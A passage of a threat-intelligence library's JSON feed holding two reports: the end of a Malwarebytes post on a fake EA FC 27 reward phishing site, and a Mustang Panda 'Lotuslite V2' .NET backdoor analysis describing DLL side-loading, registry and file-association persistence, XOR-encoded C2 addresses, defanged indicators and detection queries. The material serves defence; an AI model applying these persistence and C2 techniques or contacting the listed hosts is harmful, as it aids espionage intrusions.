club with coins and tradable players, access\n\nto purchased games, and saved payment methods. Losing access could put years of purchases and progress at risk.\n\nAttackers could also use a compromised account to impersonate you and trick your gaming contacts into sharing\n\ninformation or clicking scam links.\n\nHow to stay safe\n\nStart at EA’s website. Type ea.com into your browser and navigate from there. Before entering your EA\n\npassword or security code, check that the sign-in page is on ea.com or a genuine subdomain, such as\n\naccounts.ea.com.\n\nCheck the address bar. A page that looks exactly like EA’s sign-in is not EA if the address says something\n\nlike fc27-prime[.]shop.\n\nKeep security codes private. Only enter an EA verification code on EA’s genuine sign-in page for a login\n\nyou initiated.\n\nBe wary of free packs, coins, and rewards in ads and posts. A sponsored post isn’t proof that an offer is\n\nreal.\n\nUse a password manager. It generally won’t offer to autofill your EA password on an unrelated domain,\n\nwhich can help flag a fake page\n\nAlready entered your details?\n\nGo directly to ea.com and change your password immediately, even if you didn’t submit a 2FA code.\n\nReview your security settings and trusted devices, remove unfamiliar devices, and check for changes to\n\nyour email address, linked accounts, and purchases.\n\nKeep 2FA enabled. Change any reused passwords elsewhere, especially on your email account.\n\nIf you see unfamiliar linked accounts, are locked out, or have missing content, follow EA’s account-\n\nrecovery guidance and contact EA Help.\n\nHow Malwarebytes helps\n\nMalwarebytes Browser Guard blocks phishing and scam sites before the page can load. If you’re unsure about a\n\nwebsite, link, or reward offer, you can ask Malwarebytes Scam Guard to check it first.\n\nIndicators of compromise\n\nPage 4 of 5\n\nhttps://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes\n\nDomains\n\nfc27-prime[.]shop\n\nfc27prime[.]shop\n\nfc27utprime[.]com\n\nfc27utprime[.]online\n\nfcutprime[.]online\n\nfedserv.thenewsip[.]site\n\nStop threats before they can do any harm.\n\nMalwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install.\n\nAdd it to your browser →\n\nAbout the author\n\nStefan Dasic\n\nSr. Malware Research Engineer/Web Protection Technical Lead, ThreatLabs\n\nPassionate about antivirus solutions, Stefan has been involved in malware testing and AV product QA from an\n\nearly age. As part of the Malwarebytes team, Stefan is dedicated to protecting customers and ensuring their\n\nsecurity.\n\nSource: https://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-code\ns\n\nPage 5 of 5","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://www.malwarebytes.com/blog/threat-intel/2026/11/fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes"],"report_names":["fake-prime-gaming-x-fc-27-reward-site-harvests-ea-passwords-and-2fa-codes"],"threat_actors":[],"ts_created_at":1794967634,"ts_updated_at":1794968422,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/44a77749c8902de87bd26b1ec76b8a5bba356874.pdf","text":"https://archive.orkl.eu/44a77749c8902de87bd26b1ec76b8a5bba356874.txt","img":"https://archive.orkl.eu/44a77749c8902de87bd26b1ec76b8a5bba356874.jpg"}},{"id":"26f4d077-4e6e-4287-8b46-5914b6d4ef8b","created_at":"2026-11-18T02:04:18.309762Z","updated_at":"2026-11-18T02:20:20.804163Z","deleted_at":null,"sha1_hash":"9541106ff632d14c43e9ef44a3ac30fd56be65bc","title":"Lotuslite V2: The Evolution of Mustang Panda’s .NET Backdoor","llm_title":"","authors":"","file_creation_date":"0001-01-01T00:00:00Z","file_modification_date":"0001-01-01T00:00:00Z","file_size":1785144,"plain_text":"Published: 2026-11-15 · Archived: 2026-11-18 02:00:29 UTC\n\nExecutive Summary\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nLotuslite V2: The Evolution of Mustang Panda’s .NET Backdoor\n\nBy Kyaw Pyiyt Htet (Mikoyan) \u0026 PHYO PAING HTUN (ChiLai) · November 15, 2026\n\nWe assess with high confidence that Lotuslite V2 is a .NET successor to LOTUSLITE, a malware family\n\npreviously attributed to Mustang Panda (Earth Preta). Shared command-and-control framing conventions and\n\noverlapping execution and persistence tradecraft support the lineage assessment. The campaign’s focus on\n\nThailand adds regional context to the actor association.\n\nA public Zoho WorkDrive link delivered the assessment-themed ZIP archive. The malware used a signed\n\nPDFgear executable to side-load a malicious DLL, configured registry persistence, and established an outbound\n\nTCP connection. Lotuslite V2 introduces the PRO1 protocol marker and application-layer AES-256-GCM\n\nencryption.\n\nAttack Flow\n\nInitial Access - One Click to Deliver the Lure\n\nPage 1 of 9\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nThe Malware intrusion chain began with a public Zoho WorkDrive download link (hxxps://files-\n\naccl[.]zohoexternal[.]com/public/workdrive-external/download/sa40h523fa72200f642ec9175750b71cae0db?x-cli-\n\nmsg=n). During analysis, a single click immediately downloaded Integrated_Assessment_Indo-\n\nPacific_Economic_and_Security.zip. The archive carried an executable with the same assessment-themed name\n\nalongside CommonLib.dll, placing the two files together for the DLL side-loading observed later in the chain.\n\nExecution\n\nIntegrated_Assessment_Indo-Pacific_Economic_and_Security.exe is a .NET executable containing the RegExt\n\nassembly (version 2.1.18.0), with RegExt.Program.Main() as its entry point.\n\nThe executable creates a staging directory at C:\\ProgramData\\Microsoft\\DeviceSync and drops RegExt.exe and\n\nCommonLib.dll into the directory. Both files are subsequently associated with the execution chain originating\n\nfrom the assessment-themed executable.\n\nDLL Side Loading\n\nRegExt.exe, a trusted PDFgear executable, loaded CommonLib.dll from C:\\ProgramData\\Microsoft\\DeviceSync,\n\nleveraging DLL side-loading to execute the malicious library.\n\nPage 2 of 9\n\nPersistence Mechanism\n\nexecution through Windows registry modifications.\n\nRun Key Autostart\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nThe malware implements two logon autostart mechanisms and a PDFgear file-association hijack to maintain\n\nTrySetPersistKey implements conditional persistence based on the execution context. When isSystem is true, the\n\nprogram writes the target executable to the system-wide Run key. Otherwise, it configures the current user's\n\nWindows\\Load value.\n\nPersistence via PDF File Association Hijacking\n\nRegExt.exe modifies the PdfGear.App.1 ProgID open command, redirecting PDFgear-associated file operations to\n\nPDFLauncher.exe under the DeviceSync directory. The %1 parameter forwards the selected file path to the\n\nlauncher as outlined below.\n\nPage 3 of 9\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nMutex Artifacts\n\nMemory forensics of the staged RegExt.exe process associated with Malware revealed an active named Windows\n\nMutant (PDFgear_DeviceSync_Mutex). The naming convention of this synchronization object mirrors the\n\nmasqueraded PDFgear and DeviceSync themes utilized across the broader execution chain, serving as a high-\n\nconfidence host-based indicator for detection and incident scoping.\n\nCommand and Control Configuration\n\nC2 configuration as XOR-encoded byte arrays that are decoded at runtime with a single-byte key (0x55). It\n\ncontains two hardcoded C2 IP addresses, 31[.]59[.]184[.]185 and 103[.]175[.]50[.]32, which suggests a primary\n\nand a backup server. The client is configured to communicate over UDP port 53 and over WSS on ports 443, 80,\n\n22, 21, 8080 and 1080, and it retries failed connections with a progressive backoff of 1, 3, 5, 10 and 30 seconds.\n\nThe C2 traffic, as observed in Network Intrusion Analyzer, is illustrated in the figure below.\n\nPage 4 of 9\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nC2 Protocol Magic Value\n\nMalware uses a modified protocol magic value, 0x50524F31, replacing the previously documented LOTUSLITE\n\nidentifiers 0x8899AABB and 0xB2EBCFDF. The hardcoded value is defined in ProtocolConst.Magic and serves\n\nas the packet signature identifying Malware C2 communications. This change renders network detection rules\n\nrelying on the earlier magic values ineffective against traffic using the updated identifier.\n\nBypassing High-Level Runtime Abstractions\n\nPreviously Documented Legacy C++ LOTUSLITE: Evolved from raw memmove packet assembly to dynamically\n\nresolving memcpy from ntdll.dll via the LdrLoadDll native API chain, avoiding static IAT imports and bypassing\n\nhigher-level Win32 hooks.\n\nAnalyzed C# Variant (CommonLib / BeCtrl): Replaces raw memory routines with memory-safe Span\u003cbyte\u003e\n\nprimitives (ProtoHeader) and uses P/Invoke (BeCtrl.Compat.BcryptAesGcm) to invoke native bcrypt.dll directly\n\nbypassing .NET's high-level AesGcm wrapper to ensure AES-256-GCM compatibility on older Windows\n\nendpoints.\n\nPage 5 of 9\n\nDimension\n\nMagic Header\n\nConvention\n\nProgramming\n\nLanguage \u0026\n\nArchitecture\n\nCryptographic\n\nImplementation\n\nComparative Technical Lineage:\n\nLegacy Lotuslite\n\n(C++)\n\n0x8899AABB (v1.0)  -\n\n\u003e 0xB2EBCFDF\n\n(v1.1)\n\nNative C++ monolithic\n\nor modular DLL\n\nTransmitted raw binary\n\nframes (Magic + Cmd\n\n+ Len + Payload)\n\nprotected solely by\n\ntransport-layer HTTPS\n\n(TLS/SSL) via\n\nwinhttp.dll.\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nLotuslite V2 / Successor (C#\n\nSample)\n\n0x50524F31 (PRO1)\n\nManaged .NET / C# (CommonLib\n\nv2.1.18.0)\n\nApplication-layer AES-256-GCM\n\n(AesGcmCodec enforcing a 32-\n\nbyte key).\n\nPage 6 of 9\n\nWhy This Proves\n\nEvolution / Lineage\n\nTransitions from\n\nrotating raw 4-byte hex\n\nmagic constants\n\n(0x8899AABB /\n\n0xB2EBCFDF) to a\n\nformal, human-\n\nreadable ASCII\n\nprotocol tag (PRO1)\n\nwith a dedicated\n\nversion byte\n\nFull port to C# while\n\nretaining identical\n\nwire-framing habits,\n\nindicating active\n\ndeveloper\n\nmodernization rather\n\nthan a new threat\n\nactor.\n\nPrevents passive traffic\n\ndecryption even if\n\ncorporate TLS\n\ninspection intercepts\n\nthe HTTPS session.\n\nDimension\n\nDirectionality \u0026\n\nCommand\n\nRouting\n\nExecution \u0026\n\nPersistence\n\nTTPs\n\nVictimology \u0026\n\nTargeting\n\nTarget\n\nEnvironment\n\nCompatibility\n\nAssessment \u0026 Attribution\n\nLegacy Lotuslite\n\n(C++)\n\nSeparate command IDs\n\nfor check-in vs.\n\ntasking\n\nSigned third-party\n\nbinary DLL\n\nsideloading +\n\n%ProgramData%\n\nstaging +\n\nHKCU\\...\\Run\n\nGovernment,\n\ndiplomatic, and\n\nstrategic entities in\n\nASEAN / South Asia\n\nDynamic LdrLoadDll\n\nresolution of\n\nwinhttp.dll\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nLotuslite V2 / Successor (C#\n\nSample)\n\nBitwise MSB masking (MsgType\n\n\u0026 0x80) splitting IsB2C (1–126)\n\nand IsC2B (129–254)\n\nSigned PDFGear.exe sideloading\n\nmalicious DLL +\n\n%ProgramData% staging +\n\nRegistry Run key\n\nTargeted campaign in Thailand\n\n(ASEAN)\n\nCustom\n\nBeCtrl.Compat.BcryptAesGcm\n\nP/Invoke wrapper over bcrypt.dll\n\nWhy This Proves\n\nEvolution / Lineage\n\nStandardizes beacon-\n\nto-controller (B2C) and\n\ncontroller-to-beacon\n\n(C2B) traffic into a\n\nclean, extensible\n\nnamespace.\n\nIdentical host-side\n\noperational tradecraft\n\nused across Mustang\n\nPanda (Earth Preta)\n\nintrusion sets\n\nAligns directly with\n\nMustang Panda's\n\nprimary regional\n\nespionage priorities.\n\nSpecifically engineered\n\nto support legacy .NET\n\nFramework 4.x hosts\n\ncommon in ASEAN\n\ngovernment networks.\n\nBased on overlapping operational tradecraft, wire-protocol design habits, and regional victimology, we assess with\n\nhigh confidence that the analyzed C# implant represents a modernized successor or next-generation variant (v2) of\n\nthe LOTUSLITE malware family, attributed to the China-nexus threat actor Mustang Panda (Earth Preta). While\n\nlegacy LOTUSLITE builds were natively compiled in C++ and relied on HTTPS transport to protect raw binary\n\nframes, this .NET port (CommonLib v2.1.18.0, internal namespace BeCtrl) introduces a formalized, versioned\n\nAppendix\n\nIndicators of Compromise\n\nbinary protocol (PRO1 / 0x50524F31) protected by application-layer AES-256-GCM encryption.\n\nPage 7 of 9\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\nType  Indicator\n\nNetwork  31.59.184[.]185\n\nNetwork  103.175.50[.]32\n\nFile  C:\\ProgramData\\Microsoft\\DeviceSync\\RegExt.exe\n\nFile  C:\\ProgramData\\Microsoft\\DeviceSync\\CommonLib.dll\n\nMutex  PDFgear_DeviceSync_Mutex\n\nArchive\n\nd74fee10090cae17655d137e060398ce6fe52eb811ebc67a439ef37297e5014f\n\nAssessment executable and staged RegExt.exe\n\n33cf56f15b9e069e3f21d23338ec96c2aaf6edd4f2baadcea2af39e1968515ea\n\nCommonLib.dll\n\n4748571d98c6af34f4967a3886f73b4421239a1203f048140d3bfdaf8aa78937\n\nDetection Queries\n\nRegistry persistence via DeviceSync — Windows Load value\n\nKQL\n\nDeviceRegistryEvents\n| where RegistryKey contains \"\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\" and RegistryKey endswi\n\nRegistry persistence via DeviceSync — Run key\n\nKQL\n\nDeviceRegistryEvents\n| where RegistryKey contains @\"\\Microsoft\\Windows\\CurrentVersion\\Run\" and RegistryValueName contains \" PDFgear D\n\nPDFgear ProgID Open Command Hijack to DeviceSync Directory\n\nKQL\n\nDeviceRegistryEvents\n\nPage 8 of 9\n\nEvidence\n\nProcess-attributed TCP/443 and\n\nUDP/53 activity.\n\nRepeated multiport traffic in the\n\nNIDS capture.\n\nStaged executable.\n\nApplication-local DLL.\n\nNamed handle recovered from\n\nprocess memory.\n\nKQL\n\nSplunk\n\nDeviceNetworkEvents\n\nZoho WorkDrive External File Download URL Access\n\nMITRE ATT\u0026CK MAPPING\n\nhttps://antares-research.com/reports/lotuslite-v2/\n\n| where (RegistryKey contains \"PdfGear.App\" and RegistryKey contains \"\\\\shell\\\\open\\\\command\") and RegistryValue\n\nRegExt.exe Outbound Network Connection from DeviceSync Directory\n\n| where InitiatingProcessFolderPath contains \"\\\\ProgramData\\\\Microsoft\\\\DeviceSync\\\\\" and InitiatingProcessFolde\n\n\"cs-host\"=\"*zohoexternal.com*\" \"cs-uri-stem\"=\"*/public/workdrive-external/download/*\"\n\nDisclaimer: This research was performed independently and in our personal capacity. It does not represent the\n\nviews of employer, past or present, or of any affiliated organization, and no confidential or proprietary information\n\nfrom any employer was used. The findings are provided for informational and defensive purposes only, “as is”,\n\nwithout warranty. Some conclusions are based on static analysis and may be revised as more information becomes\n\navailable.\n\nWritten by Kyaw Pyiyt Htet (Mikoyan) \u0026 PHYO PAING HTUN (ChiLai)\n\nSource: https://antares-research.com/reports/lotuslite-v2/\n\nPage 9 of 9","extraction_quality":1,"language":"EN","sources":["OTX"],"origins":["web"],"references":["https://antares-research.com/reports/lotuslite-v2/"],"report_names":["lotuslite-v2"],"threat_actors":[],"ts_created_at":1794967458,"ts_updated_at":1794968420,"ts_creation_date":0,"ts_modification_date":0,"files":{"pdf":"https://archive.orkl.eu/9541106ff632d14c43e9ef44a3ac30fd56be65bc.pdf","text":"https://archive.orkl.eu/9541106ff632d14c43e9ef44a3ac30fd56be65bc.txt","img":"https://archive.orkl.eu/9541106ff632d14c43e9ef44a3ac30fd56be65bc.jpg"}}],"message":"library entries","status":"success"}